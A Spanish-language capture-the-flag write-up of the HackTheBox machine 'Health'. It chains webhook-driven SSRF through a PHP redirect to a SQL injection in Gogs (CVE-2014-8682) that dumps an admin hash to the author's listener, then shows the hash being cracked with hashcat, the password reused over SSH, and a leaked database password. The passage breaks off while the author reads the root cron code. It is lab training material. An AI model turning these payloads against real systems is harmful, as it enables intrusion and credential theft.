Conocimientos
-
Abuso de WebHook
-
Bypass de Restricciones
-
Inyección SQL [CVE-2014-8682]
-
Fuerza Bruta (Al romper hashes)
-
SSRF + Inyección SQL
-
Abuso de tarea CRON [Escalada de Privilegios]
Reconocimiento
Escaneo de puertos con nmap
Puertos abiertos
sudo nmap -p- --open --min-rate 5000 -n -Pn 10.10.11.176 -sS -vvv
[sudo] password for rubbx:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 17:29 GMT
Initiating SYN Stealth Scan at 17:29
Scanning 10.10.11.176 [65535 ports]
Discovered open port 80/tcp on 10.10.11.176
Discovered open port 22/tcp on 10.10.11.176
Completed SYN Stealth Scan at 17:29, 11.88s elapsed (65535 total ports)
Nmap scan report for 10.10.11.176
Host is up, received user-set (0.14s latency).
Scanned at 2023-01-09 17:29:10 GMT for 12s
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds
Raw packets sent: 66629 (2.932MB) | Rcvd: 66627 (2.665MB)
Servicios y versiones
nmap -sCV -p22,80 10.10.11.176 -oN -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 17:30 GMT
Nmap scan report for 10.10.11.176
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 32b7f4d42f45d330ee123b0367bbe631 (RSA)
| 256 86e15d8c2939acd7e815e649e235ed0c (ECDSA)
|_ 256 ef6bad64d5e45b3e667949f4ec4c239f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HTTP Monitoring Tool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
Puerto 80 (http)
Tecnologías empleadas
whatweb http://10.10.11.176
http://10.10.11.176 [200 OK] Apache[2.4.29], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], Email[contact@health.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.176], Laravel, Script[text/js], Title[HTTP Monitoring Tool], X-UA-Compatible[ie=edge]
Virtual Hosting
Se puede ver un dominio en el reporte de whatweb
cat /etc/hosts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /etc/hosts
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # LOCAL
2 │
3 │ 127.0.0.1 localhost kali
4 │ ::1 ip6-localhost ip6-loopback
5 │
6 │ # HTB
7 │
8 │ 10.10.11.176 health.htb
Página Web
El Sitio Web ofrece el siguiente formulario:
A modo de traza, me pongo en escucha por dos puertos y relleno el formulario, para ver la data que se tramita
Montando un servidor web real con python se puede apreciar en la petición por POST que se refleja el contenido del index.html
nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:42238.
POST / HTTP/1.1
Host: 10.10.16.34
Accept: */*
Content-type: application/json
Content-Length: 335
{"webhookUrl":"http:\/\/10.10.16.34:80","monitoredUrl":"http:\/\/10.10.16.34:8080","health":"up","body":"Testing\n","message":"HTTP\/1.0 200 OK","headers":{"Server":"SimpleHTTP\/0.6 Python\/3.10.9","Date":"Tue, 10 Jan 2023 13:51:55 GMT","Content-type":"text\/html","Content-Length":"8","Last-Modified":"Mon, 09 Jan 2023 17:46:21 GMT"}}
Esto puede parecer que no lleva a ningún sitio pero en caso de que occura lo mismo con un fichero en PHP se puede dar un SSTI, con el que se pueden enumerar puertos internos abiertos así como abusar de sus servicios.
Nmap puede llegar a reportar puertos a los que no tienes acceso, pero que es probable que estén abiertos.
nmap -p- --min-rate 5000 -n -Pn 10.10.11.176 -vvv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 17:49 GMT
Initiating Connect Scan at 17:49
Scanning 10.10.11.176 [65535 ports]
Discovered open port 80/tcp on 10.10.11.176
Discovered open port 22/tcp on 10.10.11.176
Completed Connect Scan at 17:49, 12.27s elapsed (65535 total ports)
Nmap scan report for 10.10.11.176
Host is up, received user-set (0.060s latency).
Scanned at 2023-01-09 17:49:42 GMT for 12s
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
3000/tcp filtered ppp no-response
4114/tcp filtered jomamqmonitor no-response
54256/tcp filtered unknown no-response
En PHP existe una manera de forzar un redirect en caso de ser interpretado:
<?php
head("Location: http://127.0.0.1:3000");
?>
Efectivamente, el servidor devuelve el siguiente contenido:
nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:36808.
POST / HTTP/1.1
Host: 10.10.16.34
Accept: */*
Content-type: application/json
Content-Length: 7741
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.16.34:80","monitoredUrl":"http:\/\/10.10.16.34:8080","health":"up","body":"<!DOCTYPE html>\n<html>\n\t<head data-suburl=\"\">\n\t\t<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\" \/>\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"\/>\n <meta name=\"author\" content=\"Gogs - Go Git Service\" \/>\n\t\t<meta name=\"description\" content=\"Gogs(Go Git Service) a painless self-hosted Git Service written in Go\" \/>\n\t\t<meta name=\"keywords\" content=\"go, git, self-hosted, gogs\">\n\t\t<meta name=\"_csrf\" content=\"PqogcO-k8OK1tng5xfQZB-R8I5Q6MTY3MzM1OTQxNTkxODc1ODY3OQ==\" \/>\n\t\t\n\n\t\t<link rel=\"shortcut icon\" href=\"\/img\/favicon.png\" \/>\n\n\t\t\n\t\t<link rel=\"stylesheet\" href=\"\/\/maxcdn.bootstrapcdn.com\/font-awesome\/4.2.0\/css\/font-awesome.min.css\">\n\n\t\t<script src=\"\/\/code.jquery.com\/jquery-1.11.1.min.js\"><\/script>\n\t\t\n\t\t\n\t\t<link rel=\"stylesheet\" href=\"\/ng\/css\/ui.css\">\n\t\t<link rel=\"stylesheet\" href=\"\/ng\/css\/gogs.css\">\n\t\t<link rel=\"stylesheet\" href=\"\/ng\/css\/tipsy.css\">\n\t\t<link rel=\"stylesheet\" href=\"\/ng\/css\/magnific-popup.css\">\n\t\t<link rel=\"stylesheet\" href=\"\/ng\/fonts\/octicons.css\">\n\t\t<link rel=\"stylesheet\" href=\"\/css\/github.min.css\">\n\n\t\t\n \t<script src=\"\/ng\/js\/lib\/lib.js\"><\/script>\n \t<script src=\"\/ng\/js\/lib\/jquery.tipsy.js\"><\/script>\n \t<script src=\"\/ng\/js\/lib\/jquery.magnific-popup.min.js\"><\/script>\n <script src=\"\/ng\/js\/utils\/tabs.js\"><\/script>\n <script src=\"\/ng\/js\/utils\/preview.js\"><\/script>\n\t\t<script src=\"\/ng\/js\/gogs.js\"><\/script>\n\n\t\t<title>Gogs: Go Git Service<\/title>\n\t<\/head>\n\t<body>\n\t\t<div id=\"wrapper\">\n\t\t<noscript>Please enable JavaScript in your browser!<\/noscript>\n\n<header id=\"header\">\n <ul class=\"menu menu-line container\" id=\"header-nav\">\n \n\n \n \n <li class=\"right\" id=\"header-nav-help\">\n <a target=\"_blank\" href=\"http:\/\/gogs.io\/docs\"><i class=\"octicon octicon-info\"><\/i> Help<\/a>\n <\/li>\n <li class=\"right\" id=\"header-nav-explore\">\n <a href=\"\/explore\"><i class=\"octicon octicon-globe\"><\/i> Explore<\/a>\n <\/li>\n \n \n <\/ul>\n<\/header>\n<div id=\"promo-wrapper\">\n <div class=\"container clear\">\n <div id=\"promo-logo\" class=\"left\">\n <img src=\"\/img\/gogs-lg.png\" alt=\"logo\" \/>\n <\/div>\n <div id=\"promo-content\">\n <h1>Gogs<\/h1>\n <h2>A painless self-hosted Git service written in Go<\/h2>\n <form id=\"promo-form\" action=\"\/user\/login\" method=\"post\">\n <input type=\"hidden\" name=\"_csrf\" value=\"PqogcO-k8OK1tng5xfQZB-R8I5Q6MTY3MzM1OTQxNTkxODc1ODY3OQ==\">\n <input class=\"ipt ipt-large\" id=\"username\" name=\"uname\" type=\"text\" placeholder=\"Username or E-mail\"\/>\n <input class=\"ipt ipt-large\" name=\"password\" type=\"password\" placeholder=\"Password\"\/>\n <input name=\"from\" type=\"hidden\" value=\"home\">\n <button class=\"btn btn-black btn-large\">Sign In<\/button>\n <button class=\"btn btn-green btn-large\" id=\"register-button\">Register<\/button>\n <\/form>\n <div id=\"promo-social\" class=\"social-buttons\">\n \n\n\n\n <\/div>\n <\/div> \n <\/div>\n<\/div>\n<div id=\"feature-wrapper\">\n <div class=\"container clear\">\n \n <div class=\"grid-1-2 left\">\n <i class=\"octicon octicon-flame\"><\/i>\n <b>Easy to install<\/b>\n <p>Simply <a target=\"_blank\" href=\"http:\/\/gogs.io\/docs\/installation\/install_from_binary.html\">run the binary<\/a> for your platform. Or ship Gogs with <a target=\"_blank\" href=\"https:\/\/github.com\/gogits\/gogs\/tree\/master\/dockerfiles\">Docker<\/a> or <a target=\"_blank\" href=\"https:\/\/github.com\/geerlingguy\/ansible-vagrant-examples\/tree\/master\/gogs\">Vagrant<\/a>, or get it <a target=\"_blank\" href=\"http:\/\/gogs.io\/docs\/installation\/install_from_packages.html\">packaged<\/a>.<\/p>\n <\/div>\n <div class=\"grid-1-2 left\">\n <i class=\"octicon octicon-device-desktop\"><\/i>\n <b>Cross-platform<\/b>\n <p>Gogs runs anywhere <a target=\"_blank\" href=\"http:\/\/golang.org\/\">Go<\/a> can compile for: Windows, Mac OS X, Linux, ARM, etc. Choose the one you love!<\/p>\n <\/div>\n <div class=\"grid-1-2 left\">\n <i class=\"octicon octicon-rocket\"><\/i>\n <b>Lightweight<\/b>\n <p>Gogs has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!<\/p>\n <\/div>\n <div class=\"grid-1-2 left\">\n <i class=\"octicon octicon-code\"><\/i>\n <b>Open Source<\/b>\n <p>It's all on <a target=\"_blank\" href=\"https:\/\/github.com\/gogits\/gogs\/\">GitHub<\/a>! Join us by contributing to make this project even better. Don't be shy to be a contributor!<\/p>\n <\/div>\n \n <\/div>\n<\/div>\n\t\t<\/div>\n\t\t<footer id=\"footer\">\n\t\t <div class=\"container clear\">\n\t\t <p class=\"left\" id=\"footer-rights\">\u00a9 2014 GoGits \u00b7 Version: 0.5.5.1010 Beta \u00b7 Page: <strong>1ms<\/strong> \u00b7\n\t\t Template: <strong>1ms<\/strong><\/p>\n\n\t\t <div class=\"right\" id=\"footer-links\">\n\t\t <a target=\"_blank\" href=\"https:\/\/github.com\/gogits\/gogs\"><i class=\"fa fa-github-square\"><\/i><\/a>\n\t\t <a target=\"_blank\" href=\"https:\/\/twitter.com\/gogitservice\"><i class=\"fa fa-twitter\"><\/i><\/a>\n\t\t <a target=\"_blank\" href=\"https:\/\/plus.google.com\/communities\/115599856376145964459\"><i class=\"fa fa-google-plus\"><\/i><\/a>\n\t\t <a target=\"_blank\" href=\"http:\/\/weibo.com\/gogschina\"><i class=\"fa fa-weibo\"><\/i><\/a>\n\t\t <div id=\"footer-lang\" class=\"inline drop drop-top\">Language\n\t\t <div class=\"drop-down\">\n\t\t <ul class=\"menu menu-vertical switching-list\">\n\t\t \t\n\t\t <li><a href=\"#\">English<\/a><\/li>\n\t\t \n\t\t <li><a href=\"\/?lang=zh-CN\">\u7b80\u4f53\u4e2d\u6587<\/a><\/li>\n\t\t \n\t\t <li><a href=\"\/?lang=zh-HK\">\u7e41\u9ad4\u4e2d\u6587<\/a><\/li>\n\t\t \n\t\t <li><a href=\"\/?lang=de-DE\">Deutsch<\/a><\/li>\n\t\t \n\t\t <li><a href=\"\/?lang=fr-CA\">Fran\u00e7ais<\/a><\/li>\n\t\t \n\t\t <li><a href=\"\/?lang=nl-NL\">Nederlands<\/a><\/li>\n\t\t \n\t\t <\/ul>\n\t\t <\/div>\n\t\t <\/div>\n\t\t <a target=\"_blank\" href=\"http:\/\/gogs.io\">Website<\/a>\n\t\t <span class=\"version\">Go1.3.2<\/span>\n\t\t <\/div>\n\t\t <\/div>\n\t\t<\/footer>\n\t<\/body>\n<\/html>","message":"HTTP\/1.0 302 Found","headers":{"Host":"10.10.16.34:8080","Date":"Tue, 10 Jan 2023 14:03:35 GMT","Connection":"close","X-Powered-By":"PHP\/8.1.12","Location":"http:\/\/127.0.0.1:3000","Content-type":"text\/html; charset=UTF-8","Content-Type":"text\/html; charset=UTF-8","Set-Cookie":"_csrf=; Path=\/; Max-Age=0"}}
Metiendo el contenido en un archivo temporal y conviertiendo los saltos de línea y tabulados desde el navegador web se puede ver el contenido:
cat data | jq .body -r > index.html
python3 -m http.server 80
El servicio es GoGits, con una versión 0.5.5
Buscando vulnerabilidades en exploit-db aparace lo siguiente:
searchsploit gogs
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gogs - 'label' SQL Injection | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection | multiple/webapps/35238.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Examinando el segundo recurso se puede ver una Prueba de Concepto con una inyección SQL
searchsploit -x multiple/webapps/35238.txt
Proof of Concept
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
Response:
{"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink"
:"bluec0re/root@localhost"}],"ok":true}
Para una mayor comodidad, es preferible montar el Servicio Gogs en local, hacer las pruebas pertinentes y posteriormente emitir el payload final a la máquina victima
wget https://github.com/gogs/gogs/releases/download/v0.5.5/linux_amd64.zip
unzip linux_amd64.zip
cd gogs
./gogs web
Una vez registrado, se puede ir a la ruta que contempla exploit-db donde se efectúa la SQLi
Devuelve “true”, por tanto es buena señal
Envíando al Repeater de BurpSuite:
Más que la ruta de repos, sería más interesante tratar de enumerar la de usuarios. En el exploit ponía que la vulnerabilidad se acontecía porque la sanitización que utiliza consistía en que no interpreta los espacios, aunque estén en url-encode. Por tanto, hay que utilizar una alternativa que consiste en ponerlos con /**/
Inyección SQL
Enumeración de columnas:
Se leakea que hay 27 columnas. Por tanto con Union Select, voy a tratar de dumpear datos a través del error.
Se puede apreciar que el tercer campo es vulnerable
Para una mayor rapidez, se puede ver que columnas existen desde el propio archivo de configuración que está en el equipo local
El archivo de configuración de la base de datos es el siguiente:
find . | grep db
./gogs/data/gogs.db
Los campos más importantes son email,passwd,salt
El salt es necesario para poder crackear la contraseña, además del número de iteraciones
Utilizando una Nested Query, puedo traer tres campos al mismo tiempo.
Una vez teniendo el hash y el salt, hay que adaptarlo para que el hashcat lo admita.
En el repositorio de Gogs, se puede encontrar el tipo de hash que se emplea, concretamente en el archivo users.go
1
2
3
4
// EncodePasswd encodes password to safe format.
func (u *User) EncodePasswd() {
newPasswd := base.PBKDF2([]byte(u.Passwd), []byte(u.Salt), 10000, 50, sha256.New)
u.Passwd = fmt.Sprintf("%x", newPasswd)
Por tanto el encoder usado es PBKDF2 y el número de iteraciones es 10000
Con hashcat se puede filtrar por ese tipo de hash
hashcat --example-hashes | grep -i PBKDF2 | grep Name
Name................: WPA-EAPOL-PBKDF2
Name................: macOS v10.8+ (PBKDF2-SHA512)
Name................: Cisco-IOS $8$ (PBKDF2-SHA256)
Name................: Django (PBKDF2-SHA256)
Name................: PBKDF2-HMAC-SHA256
Name................: RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)
Name................: PBKDF2-HMAC-MD5
Name................: PBKDF2-HMAC-SHA1
Name................: Atlassian (PBKDF2-HMAC-SHA1)
Name................: PBKDF2-HMAC-SHA512
Name................: MS-AzureSync PBKDF2-HMAC-SHA256
Name................: Ethereum Wallet, PBKDF2-HMAC-SHA256
Name................: Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256
Name................: WPA-PMKID-PBKDF2
Name................: Python passlib pbkdf2-sha512
Name................: Python passlib pbkdf2-sha256
Name................: Python passlib pbkdf2-sha1
Name................: Web2py pbkdf2-sha512
Name................: WPA-PBKDF2-PMKID+EAPOL
Name................: Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)
Name................: XMPP SCRAM PBKDF2-SHA1
Name................: PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)
Name................: PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)
Name................: Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)
Name................: VMware VMX (PBKDF2-HMAC-SHA1 + AES-256-CBC)
Name................: VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS)
Name................: VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS)
Name................: Terra Station Wallet (AES256-CBC(PBKDF2($pass)))
De todos los que aparecen, el más probable es PBKDF2-HMAC-SHA256
Filtrando por ese hash:
hashcat --example-hashes | grep ": PBKDF2-HMAC-SHA256" -C 10
Example.Hash........: 48e61d68e93027fae35d405ed16cd01b6f1ae66267833b4a7aa1759e45bab9bba652da2e4c07c155a3d8cf1d81f3a7e8
Example.Pass........: hashcat
Benchmark.Mask......: ?b?b?b?b?b?b?b
Autodetect.Enabled..: Yes
Self.Test.Enabled...: Yes
Potfile.Enabled.....: Yes
Custom.Plugin.......: No
Plaintext.Encoding..: ASCII, HEX
Hash mode #10900
Name................: PBKDF2-HMAC-SHA256
Category............: Generic KDF
Slow.Hash...........: Yes
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk
Para poderlo crackear, el hash tiene que tener la siguiente estructura:
sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk
A diferencia del hash que ya tengo:
rubbx@rubbx.htb:ALG2ZQ7z0D:9d035503308ce61467a4e9fdeef43d183d90ee431d45c5a1ad613181bb3b82f7d3e060d1338b98b9429961ee73f714a847bc
Hay que convertir la cadena que está en hexadecimal a base64 y lo mismo para el salt, así como cambiar el número de iteraciones
Una vez entendido el proceso en local, toca retomar el SSTI del principio para obtener el hash real y obtener unas credenciales
Explotación
<?php
head("Location: http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,2,(select/**/email||':'||salt||':'||passwd/**/from/**/user),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--/**/- ");
?>
Así que con netcat me pongo en escucha por un puerto y recibo la data
nc -nlvp 8000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:39868.
POST / HTTP/1.1
Host: 10.10.16.34:8000
Accept: */*
Content-type: application/json
Content-Length: 983
{"webhookUrl":"http:\/\/10.10.16.34:8000","monitoredUrl":"http:\/\/10.10.16.34","health":"up","body":"{\"data\":[{\"username\":\"susanne\",\"avatar\":\"\/\/1.gravatar.com\/avatar\/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"admin@gogs.local:sO3XIbeW14:66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37\",\"avatar\":\"\/\/1.gravatar.com\/avatar\/15\"}],\"ok\":true}","message":"HTTP\/1.0 302 Found","headers":{"Host":"10.10.16.34","Date":"Tue, 10 Jan 2023 15:28:11 GMT","Connection":"close","X-Powered-By":"PHP\/8.1.12","Location":"http:\/\/127.0.0.1:3000\/api\/v1\/users\/search?q=')\/**\/union\/**\/all\/**\/select\/**\/1,2,(select\/**\/email||':'||salt||':'||passwd\/**\/from\/**\/user),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--\/**\/-","Content-type":"text\/html; charset=UTF-8","Content-Type":"application\/json; charset=UTF-8","Set-Cookie":"_csrf=; Path=\/; Max-Age=0","Content-Length":"293"}}
Adaptando el hash de admin obtenido al formato adecuado:
sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=
Rompiéndolo con hashcat
hashcat hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 3498/7060 MB (1024 MB allocatable), 4MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9u...9O/jc=
Time.Started.....: Tue Jan 10 15:40:38 2023 (16 secs)
Time.Estimated...: Tue Jan 10 15:40:54 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4359 H/s (1.35ms) @ Accel:512 Loops:32 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 71680/14344385 (0.50%)
Rejected.........: 0/71680 (0.00%)
Restore.Point....: 69632/14344385 (0.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9984-9999
Candidate.Engine.: Device Generator
Candidates.#1....: 030979 -> 280282
Hardware.Mon.#1..: Util: 88%
Started: Tue Jan 10 15:40:00 2023
Stopped: Tue Jan 10 15:40:55 2023
Por tanto la contraseña es february15
Esta misma se reutiliza por ssh para el usuario sussane
ssh susanne@health.htb
susanne@health.htb's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-191-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jan 10 15:44:07 UTC 2023
System load: 0.01 Processes: 177
Usage of /: 67.0% of 3.84GB Users logged in: 0
Memory usage: 14% IP address for eth0: 10.10.11.176
Swap usage: 0%
Escalada
Buscando por archivos en el servidor web:
susanne@health:/var/www/html$ ls -la
total 412
drwxr-xr-x 14 www-data www-data 4096 Jul 26 10:12 .
drwxr-xr-x 3 www-data www-data 4096 May 17 2022 ..
drwxrwxr-x 9 www-data www-data 4096 Jul 26 10:12 app
-rwxr-xr-x 1 www-data www-data 1686 May 17 2022 artisan
drwxrwxr-x 3 www-data www-data 4096 Jul 26 10:12 bootstrap
-rw-r--r-- 1 www-data www-data 1775 May 17 2022 composer.json
-rw-r--r-- 1 www-data www-data 292429 May 17 2022 composer.lock
drwxrwxr-x 2 www-data www-data 4096 May 17 2022 config
drwxrwxr-x 5 www-data www-data 4096 May 17 2022 database
-rw-r--r-- 1 www-data www-data 258 May 17 2022 .editorconfig
-rw-r--r-- 1 www-data www-data 978 May 17 2022 .env
-rw-r--r-- 1 www-data www-data 899 May 17 2022 .env.example
drwxrwxr-x 8 www-data www-data 4096 Jul 26 10:12 .git
-rw-r--r-- 1 www-data www-data 152 May 17 2022 .gitattributes
-rw-r--r-- 1 www-data www-data 207 May 17 2022 .gitignore
drwxrwxr-x 507 www-data www-data 20480 Jul 26 10:12 node_modules
-rw-r--r-- 1 www-data www-data 643 May 17 2022 package.json
-rw-r--r-- 1 www-data www-data 1202 May 17 2022 phpunit.xml
drwxrwxr-x 4 www-data www-data 4096 Jul 26 10:12 public
-rw-r--r-- 1 www-data www-data 3958 May 17 2022 README.md
drwxrwxr-x 7 www-data www-data 4096 Jul 26 10:12 resources
drwxrwxr-x 2 www-data www-data 4096 May 17 2022 routes
-rw-r--r-- 1 www-data www-data 569 May 17 2022 server.php
drwxrwxr-x 5 www-data www-data 4096 May 17 2022 storage
-rw-r--r-- 1 www-data www-data 194 May 17 2022 .styleci.yml
drwxrwxr-x 4 www-data www-data 4096 May 17 2022 tests
drwxrwxr-x 44 www-data www-data 4096 Jul 26 10:12 vendor
-rw-r--r-- 1 www-data www-data 556 May 17 2022 webpack.mix.js
Se puede ver un archivo .env que contiene variables de entorno. Se filtra la contraseña de la base de datos
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
En la base de datos no hay nada de interés
Con PsPy detecto una tarea CRON ejecutada por root:
CMD: UID=0 PID=13265 | /usr/sbin/CRON -f
CMD: UID=0 PID=13269 |
CMD: UID=0 PID=13270 | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
CMD: UID=0 PID=13273 | grep columns
CMD: UID=0 PID=13271 | sh -c stty -a | grep columns
CMD: UID=0 PID=13274 | sh -c stty -a | grep columns
CMD: UID=0 PID=13276 | grep columns
CMD: UID=0 PID=13277 | mysql laravel --execute TRUNCATE tasks
El archivo que está ejecutando no lo puedo modificar, ya que no soy www-data
-rwxr-xr-x 1 www-data www-data 1686 May 17 2022 artisan
Schedule se define en el archivo Kernel.php
susanne@health:/var/www/html/app$ grep -r -i "schedule"
Console/Kernel.php:use Illuminate\Console\Scheduling\Schedule;
Console/Kernel.php: protected function schedule(Schedule $schedule)
Console/Kernel.php: $schedule->call(function () use ($task) {
Su contenido es el siguiente:
<?php
namespace App\Console;
use App\Http\Controllers\HealthChecker;
use App\Models\Task;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
use Illuminate\Support\Facades\Log;
class Kernel extends ConsoleKernel
{
protected function schedule(Schedule $schedule)
{
/* Get all tasks from the database */
$tasks = Task::all();
foreach ($tasks as $task) {
$frequency = $task->frequency;
$schedule->call(function () use ($task) {
/* Run your task here */
HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);
Log::info($task->id . ' ' . \Carbon\Carbon::now());
})->cron($frequency);
}
}
/**
* Register the commands for the application.
*
* @return void
*/
protected function commands()
{
$this->load(__DIR__ . '/Commands');
require base_path('routes/console.php');
}
}
?>
La función Checker se encuentra definida en el archivo HealthChecker.php
```null
<?php
namespace App\Http\Controllers;
class HealthChecker
{
public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
{
$json = [];
$json['webhookUrl'] = $webhookUrl;
$json['monitoredUrl'] = $monitoredUrl;
$res = @file_get_contents($monitoredUrl, false);
if ($res) {
if ($onlyError) {
return $json;
}
$json['health'] = "up";
$json['body'] = $res;
if (isset($http_response_header)) {
$headers = [];
$json['message'] = $http_response_header[0];
